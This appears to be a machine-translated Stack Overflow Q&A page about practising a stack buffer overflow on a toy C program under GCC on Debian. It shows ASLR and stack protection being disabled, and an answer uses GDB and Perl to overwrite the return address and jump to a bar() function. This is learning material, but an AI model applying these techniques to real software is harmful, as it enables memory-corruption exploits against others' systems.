Question

我目前对学习如何进行缓冲区溢出感兴趣。我已经完成了相当多的程序集，并了解了堆栈的工作原理以及如何在C中实现缓冲区溢出。但是，我遇到了很多麻烦，试图让GCC 4.9.1允许我溢出缓冲得当。我正在运行Debian Jessie。

Here是我试图遵循的教程，在2.2节中。我复制/粘贴了他提供的C程序，我使用的是相同的Perl脚本，所以一切都与他的情况完全相同（当然除了系统）。

这些是我一贯得到的结果：

 ~/projects/buffer-overflow$ ls
 run.pl  test.c
 ~/projects/buffer-overflow$ sudo su 
 root@wash# echo "0" > /proc/sys/kernel/randomize_va_space 
 root@wash# exit
 exit
 ~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
 ~/projects/buffer-overflow$ ./run.pl 
 Address of foo = 0x804845b
 Address of bar = 0x80484a4
 My stack looks like:
 (nil)
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x8048657
 0xffffd494

 ABCDEFGHIJKLMNOPP@
 Now the stack looks like:
 0xffffd718
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x42418657
 0x46454443

Answer 1

Perl脚本在这里不是特别有用，不同的系统将使用不同的地址，所以让我们在没有脚本的情况下这样做......

首先，找出覆盖返回地址所需的确切字节数。我们可以使用GDB和Perl来做到这一点：

(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
 0xffffdaa8

AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

正如您所看到的，26个字节将覆盖EIP，因此通过用我们的bar（）函数地址替换最后四个“A”字符（不要忘记以小端格式表示），我们应该会成功：

(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
 0xffffdaa8

AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141

Augh! I've been hacked!

Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()

如您所见，我们成功返回功能栏（）。

Answer 2

我会尝试-fno-stack-protector-all（添加-all）和其他-O？选项，导致一些优化开启一些-fxxx。

如何在现代系统上测试缓冲区溢出？

2 个答案: